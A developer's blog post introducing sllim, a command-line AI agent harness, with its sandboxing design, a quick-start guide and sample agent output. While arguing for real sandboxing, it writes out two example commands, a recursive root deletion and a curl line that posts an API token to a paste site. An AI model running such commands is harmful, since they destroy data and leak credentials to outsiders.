Sllim, a true CLI AI harness

Yup, this is a post about AI. Wait! Don't run off yet; hear me out.

Discovery

Understanding my background will help you understand why I built Sllim instead of using one of the existing Open Source TUI agent harnesses.

I've been a software engineer for about a quarter of a century now. Survived the dot-com bust. I've worked on a bunch of different kinds of things professionally, and on personal projects. In that work, I tend to gravitate toward building tools for doing software engineering. Some of that gets called DevOps, but some of it is just "rather than do task X, I can create a tool that will do task X correctly, thoroughly, and quickly" and choosing to build the tool.

I'm a CLI kind of guy. My "IDE" is a grid of terminals and gvim windows. I tend to reach for grep rather than some code navigation tool. Yeah, there are drawbacks to that, but I also value understanding the code layout. After all, code is, at heart, a tree of text files.

I've been working with AI for something like a year or so now, trying to wrap my head around every layer, from the matrices to the harnesses. As you may have heard elsewhere, "something changed" around Thanksgiving / Christmas of 2025. In my case, I saw the first tipping point at Thanksgiving, when I gave an Open Source model a bash tool, and watched it write a full-page Python script, properly escaped to execute in bash, to edit a file... and it worked.

My jaw bounced a few times on the floor.

That was the point where I knew this AI thing was real.

Seeking

Since then, I've been trying to harness that capability in a way that fits my hand.

There are a number of harnesses out there, but none exactly fit what I wanted.

Most of them are not CLIs, despite claiming to be: they're TUIs with their own way of working. I wanted a CLI; a tool that you call from the shell prompt, not a tool that gives you a new prompt with only what it thought to provide within it.

Most seem to take an utterly wrong-headed approach to sandboxing; they look at the command the LLM wants to execute, decide if it's "safe" or not, and then execute it. That doesn't even pass a security sniff test. You want the agent to be able to write test cases, and to run the tests. That means, literally, that you want to let the agent run arbitrary code. Once you face that reality, you realize you must constrain what the agent is able to do. That means scoped access to specific directories, filtered (whitelist-based) access to the internet via proxy, harness code that runs outside the sandbox, and LLM actions that execute inside the sandbox. Anything short of that eventually results in 'sudo rm -rf /*'. Or 'curl --data-binary "$OPENAI_TOKEN" https://paste.rs/'. Or worse.

I nearly settled for Simon Willison's llm, but I really wanted a file-based data store rather than SQLite. Again, I'm more of a CLI guy, less of an SQL person.

And at some level, I wanted to understand AI harnesses deeply, and there's nothing quite like reinventing a wheel for understanding how wheels work.

Journey

There is a learning curve to working with AI.

Level one: one-shot interaction

Send a prompt, get back a response.

One of the best ROI uses for this is code review. Create a context with 'git diff' with extra context lines, and maybe with the entire file content along with it, plus the task description (such as your Trac or Jira issue content), and instructions on what classes of issues to look for (typos, spelling, bugs, code smells). You will get back a list of concerns. It may include some red herrings where the model got confused, but it will very frequently find problems you missed. Refining your review prompt as you get a feel for the model you use for this will improve the results over time. This is one of those things that benefits noticeably from stronger, more intelligent models.

And that's something worth calling out specifically: Refining prompts over time lets you get better results from LLMs with lower token spend. There is still some level of randomness in model outputs (though that can be reduced, depending on the level of control you have over the inference execution), so I find you wind up "getting a feel for it", but the prompt does matter for both quality and cost.

Level two: continued interaction

Send a prompt, get back a response, add messages to the list, send the updated list, get a response, repeat.

This works really well for design work. Get an initial sketch of a design document, debate pros and cons with the AI, get a solid design document out at the end. Programmers understand the concept of 'rubber ducking' where you explain the problem that has been baffling you all morning, in detail, to an inanimate object... and partway through that process, you can see the solution. With LLMs, we now have 'rubber parroting', where you explain your design to the AI and it actually talks back, giving pros/cons, listing alternatives, reminding you of earlier decisions when you contradict yourself later.

"But what about AI psychosis?" For this to work well, your prompt needs to include instructions such as "Do not flatter.", and "Challenge user assumptions.". In my case, I include a line like "Assume the user has 20 years of professional software development experience.", which seems to materially shift how the model communicates. (Exploring this would be an entire discussion on its own.)

Level three: agentic interaction

Add tool-call support, where tools get called and the updated prompt gets sent back, looping until the LLM stops.

Sub-levels here include a "bash" tool, a recursive "sub-agent" tool, as well as "skills". And there is a lot to understand regarding what actions the LLM is able to take using the tools it is given.

Two things happen at this point. One, your inference costs will naturally skyrocket. Two, you start to shift materially in how you think of doing your job. You begin to shift from "I read and modify code" to "I ask specific questions about the code, and then explain what behavioral change I want made to the code." This is where you hear the term "vibe coding", but you quickly start to think of it as "agentic engineering" and start leaving the text edits and even the commits themselves to the AI.

This is transforming our field. When people talk about software engineers losing their jobs to AI, Patio11 will mention that compilers increased, not decreased, the number of software engineers in the world. I believe this level of AI use is more transformative to this industry than compilers were.

Level four: delegation

Build a goal loop around the agentic interaction, evaluating if a task has been completed or not, and if not, making another attempt.

This is where you get into Karpathy's "autoresearch" concept. The key thing is you write something that can evaluate a result and give either "goal met" or "goal not met". Then you run "level three" over and over until the result evaluates to "goal met". That eval can be something entirely deterministic, such as "performance reaches at least X", or it can itself be a "level three" AI with a set of evaluation criteria to consider, and instructions to render a verdict.

At this point, our work transforms again. You spend your time specifying what "goal met" means and creating the program that can judge between "goal met" and "goal not met". And then you hand that off and let it cook. (And burn tokens. So. Many. Tokens.) While that runs, you can work on defining the next goal. Your work shifts from guiding a code generator to blazing the design path, while the matmuls crunch along inexorably behind you.

We no longer dig basements with shovels; we use excavators. The same thing is coming for software.

Open Questions

  • What comes after goal loops?

I'm hearing people talk about "graphs" instead of "loops". Many people are running agents as long-running tasks / daemons which respond to external events. There's talk of creating an artificial software developer with its own access to a project's infrastructure, responding as if it were itself a developer. Others have said they have the agents write the loops instead of writing them directly. Maybe we'll see loops that refine the model's own weights in order to accomplish its tasks. I think this is something that will be hard to predict, but interesting to discover.

  • What is the ratio of AI hours to Engineer hours for a given task?

Is AI faster or slower than a human? If a human works 40 hours while an AI works 160, what is the ratio of AI weeks to Engineer weeks for a given task?

  • What is the ratio of AI weekly cost to Engineer weekly wage for a given task?

Everyone expects the AI cost to be lower, and it certainly looks that way. But even if it were marginally more expensive, it would still be competitive in many cases due to bursty needs, high uncertainty about the longevity of the business, or even just being an introvert.

  • What is the ratio of 'time to define the goal' vs 'time to accomplish the goal'?

IF Engineers spend their time defining the goals, and AI quickly executes those goals: Engineering cost becomes cost of Engineer plus cost of AI inference for that Engineer, with a higher level of output expected for the higher cost.

IF Engineers spend their time defining the goals, and AI crunches on the goal for a long time: Engineering means keeping multiple AI agents running in parallel, and Engineers think about their workload in terms of throughput rather than latency.

IF token prices climb too high, one of the potential trade-offs is to choose the latter scenario, even if AI is able to be fast. Instead of paying per-token prices, self-host and run AI slower, with some shared AI infrastructure like we do for CI/CD infrastructure in companies today. An Engineer submits a defined goal to the queue, and gets results some time later. That lets an organization keep expensive inference hardware running at capacity 24x7 to minimize cost. But even when you're running goals, you're going to want low-latency inference to aid with defining those goals. And then you're looking at priority scheduling in your inference system: prioritize the interactive goal definition work, and fill the rest of the capacity with the goal execution work, expecting the balance to shift with the workforce schedule.

There are other sources of uncertainty here as well:

  • How high are hardware component costs going to get?
  • Will access to the hardware be restricted?
  • Will access to models be restricted?
  • What advances will we see in the capability of proprietary models?
  • What advances will we see in the capability of Open Source models?
  • What advances will we see in the viability of self-hosting of Open Source models?
  • How effectively can model routing reduce cost while maintaining quality of output?

It is my hope that advances in self-hosting Open Source models will move us toward a world which looks less like the mainframe era, and more like the era of the PC. Recent advances in getting models like DeepSeek-V4-Flash-0731 to run on a single DGX Spark at useful speeds are particularly encouraging here.

My Octagonal Wheel, sllim

I've always gravitated toward creating tools. AI promises amazing tools. So I built sllim.

Sllim logo

(Logo graphic design by Kaitlyn Carter.)

sllim is a CLI, not a TUI, for working with AI.

It's an octagonal wheel, on its way to nonagonality, but it has a combination of features I haven't seen elsewhere.

In particular:

  • Each "level" of AI interaction is supported:
    • sllim ask is entirely non-agentic, single-response interaction with the LLM.
    • sllim act is agentic, with tools for running commands and launching sub-agents.
    • sllim goal wraps the act functionality in a loop with an evaluation command before each attempt.
  • CLI, not TUI. It is built to fit into what you're doing on the command line, so you can easily feed files and command output into it, and get back output you can feed into other tools. But it also streams the output as it comes in, including showing tool calls getting built up token-by-token.
  • Multiple sandboxing options.
    • host to run commands locally without a sandbox. This is what most tools I've seen do. Dangerous.
    • remote to run commands via ssh on some remote machine, such as if you want to give the LLM full control of a VM in the cloud, or some dedicated machine on your network.
    • container to run commands within a local (podman) container, with volume mounts specifically configured to grant (possibly read-only) access to directories on the host, with control over host, bridged, or no network access.
    • vm to run the agent's commands within a local VM, with virtfs-based access to specifically configured directories on the host, with control over host, filtered, or no network access. The filtered network access is built around a network proxy with a whitelist of HTTP verb and URL regexes, letting you grant access to specific URLs on the internet, ensuring that the LLM can't go roving freely over the wild and woolly internet.
  • Transparent; while most tools give you a spinner, sllim streams results so you can see exactly what is going on. Tool-calls don't sit there showing nothing -- instead, you see the command stream in, then see the final command to be run, then see the command output stream in. There's something about watching the data stream in that gives you a real feel for what these systems can do.
  • Logging everything to text data file formats including YAML, JSON, and JSONL. This is building a pile of data I can mine in the future so I can draw from real data to create test cases for handling API responses, or for debugging them. It's also accumulating conversation histories that one day may be useful for post-training model variants of my own. For instance, given the stored history of a goal that ran to successful completion, I think there will be value in taking that history, removing the mistakes that the model made, and feeding that back into the model so that over time it can gradually improve.
  • Practical necessities, such as loop detection and recovery.

But this isn't a round wheel; as I said, it's octagonal still, with lots of rough corners:

  • replay is non-functional
  • edit doesn't really work well; act has superseded that in practice for me, but I think it has value for completeness and providing a non-agentic mechanism for file editing.
  • I've been almost exclusively using fireworks.ai as my inference provider, so the generic OpenAI and Ollama support has less mileage on it.
  • I've been using GLM-5 through GLM-5.2 for the vast majority of the development; other models ought to work, but different models do behave differently, so there may be surprises with other models.
  • Probably 99% of this code was written by GLM, and I've not reviewed it line-by-line. I'm sure it needs refactoring. I suspect there are Eldritch horrors lurking in this code. Some may even be bad enough I'll be embarrassed by them. But my plan is to learn from them and find ways to raise the quality bar of the AI-generated code. Because that's now something we can do. We can turn our standards for quality into AI-backed programs.
  • Sandbox setup has some manual setup to get the environment ready for the AI to be productive. In particular, you'll want to spin up the VM and install the "obvious" software the agent will need to get started. And depending on what directories you mapped into the VM, you may need to fix up directory ownership so ~/.config and ~/.local are usable.
  • I'm running this under Fedora 44 and Python 3, with Fedora 44 containers and VMs. Who knows, it might work with other distros too.
  • Profile whitelist setup is awkward, but with export/import to a YAML representation, you have the ability to bring scripting to bear on it if needed.
  • That filtering proxy needs some custom logic for handling Fedora's yum/dnf mirrors, and would benefit from caching.
  • Though I have tried to make the CLI commands follow a consistent structure, some pieces still err too far towards "powerful" on the "powerful vs usable" spectrum. (sllim history show in particular.)

Quick-start guide

Ok, maybe not so "quick". Octagons make for a rough ride.

Build and install:

git clone https://retracile.net/git/sllim.git
cd sllim
./run-all
cp output/sllim ~/bin/sllim

Configure the provider:

read -s KEY
sllim provider create --type fireworksai --api-key "$KEY" fireworksai
sllim provider list
sllim model available --provider fireworksai
sllim provider update --add-model '*/glm-5*' \
    --cost-cached 0.140 --cost-prompt 1.400 --cost-output 4.400 \
    fireworksai

Configure a model config:

sllim model-config create --provider fireworksai --model '*/glm-5*' fw-glm
sllim model-config list

This is enough to ask a question:

sllim ask --model-config fw-glm "This is just a test; say 'hi'."

Configure an agentic profile:

mkdir ~/agent-workspace
url="https://mirror.servaxnet.com/fedora/linux/releases/44/Cloud/x86_64/\
images/Fedora-Cloud-Base-Generic-44-1.7.x86_64.qcow2"
sllim profile create \
    --model-config fw-glm \
    --sandbox-type vm \
    --os-variant fedora43 \
    --base "$url" \
    --network filtered \
    --add-vol "$HOME/agent-workspace:$HOME/agent-workspace" \
    --max-recursion 2 \
    --yolo \
    agent
sllim profile show agent

Prep the sandbox:

sllim profile whitelist \
    --add \
    --url '.*' \
    agent
cd ~/agent-workspace
sllim profile sandbox \
    --command "sudo chown $USER:$USER $HOME &&
        sudo dnf update -y &&
        sudo dnf group install -y development-tools" \
    agent
sllim profile whitelist \
    --rm \
    --url '.*' \
    agent
sllim profile whitelist --add --domain duckduckgo.com agent

Demonstrate the agent can make tool calls:

cd ~/agent-workspace
sllim act --profile agent "What time is it?"

Which gives output like:


[depth 0] Starting new conversation 3299:


[depth 0] Sending prompt... (0.6s latency)
The user is asking for the current time. I can get this by running a simple shell command.
[depth 0] {"id":"chatcmpl-tool-a3b6e5045531acba","function":{"name":"run_shell_command","arguments":{"command":"date"}}}


[depth 0] Model indicated it was done.
[depth 0] Tokens: 0 cached, 542 prompt, 33 output; cumulative tokens 0 cached, 542 prompt, 33 output; 0.6s+0.8s; 935.5t/s+38.8t/s; +$0.00=$0.00.
[depth 0] Calling run_shell_command({'command': 'date'})
Starting VM agent...
Started proxy on port 20007
Sat Aug  8 19:38:11 UTC 2026
[depth 0] Result was:
command: date
exit_code: 0
stdout:
```
Sat Aug  8 19:38:11 UTC 2026
```
stderr:
```
```



[depth 0] Sending prompt... (1.2s latency)
The current time is Sat Aug 8 19:38:11 UTC 2026.
The current time is **Saturday, August 8, 2026, at 19:38 UTC**.

[depth 0] Model indicated it was done.
[depth 0] Tokens: 541 cached, 79 prompt, 44 output; cumulative tokens 541 cached, 621 prompt, 77 output; 1.8s+1.2s; 640.4t/s+66.0t/s; +$0.00=$0.00.
[depth 0] Completed conversation 3299.
Stopped proxy
Shutting down VM agent...
VM agent shut down.
Conversation saved: 3299

Conclusion

The code is available under the MIT license.

I've found it extremely powerful, and I'm certain I've only scratched the surface of what can be done with this sort of tool.

The experience of bootstrapping sllim to the point where I could start using sllim to write sllim has been interesting, to say the least. It has given me an appreciation for what AI tools are capable of, and has changed how I think about software development. And I expect that will continue. I've spent a few hundred dollars on inference on this project, paying Fireworks AI's serverless API rates. Being aware of roughly how much I was spending was very useful feedback, both in terms of how quickly you can spend money on AI, and yet also how cheaply you can implement functionality using it. I have a lot of improvements I want to make to sllim as time allows, especially in terms of making it easier to get started with it.

If you find this tool useful, I'd love to hear about it. When you run into bugs, drop me an email.

Attachments (1)

Download all attachments as: .zip

Comments

No comments.